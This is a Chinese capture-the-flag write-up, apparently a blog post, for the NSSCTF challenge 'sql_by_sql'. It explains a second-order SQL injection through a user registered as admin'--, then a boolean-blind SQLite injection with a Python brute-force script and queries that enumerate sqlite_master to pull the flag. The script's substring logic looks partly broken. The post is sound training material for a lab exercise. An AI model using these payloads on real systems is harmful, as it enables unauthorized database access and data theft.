[NSSRound#1 Basic]sql_by_sql

因NSSCTF收费而没有截图。

1.打开环境,随便注册一个用户。

在修改密码的源码处获得提示

<!-- update user set password='%s' where username='%s'; -->

所以注册用户admin'--并修改密码就可以登录admin,在home页面的查询有两种回显,exist或no user,显然是布尔盲注,需要注意的是数据库是sqlite,查询语句不太一样。

SQLite中有一个类似information_schema功能的表sqlite_master

其中有五个字段

    type:记录项目的类型,如table、index、view、trigger

    name:记录项目的名称,如表名、索引名等

    tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身

    rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL

    sql:记录创建该项目的SQL语句

python脚本:

import requests
import time
import string
str = string.ascii_letters + string.digits
url = "http://1.14.71.254:28156/query"
flag=""
while(True):
   for i in range(1,100):
       for x in str:
           data={
               'id':"1 and substr((select name from sqlite_master where type='table' limit {},1),1,1)='{}'".format(i,x),
               'session':'eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZCrlqg.63_LeCoerysTBvwbFFkhos2Kmt4'

           }
           res = requests.post(url=url,data=data)
           time.sleep(0.1)
           if "exist" in res.text:
               flag+=x
               print(flag)
               break
#select flag from flag 获得flag
#select sql from sqlite_master where type='table' and name='flag'爆列

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值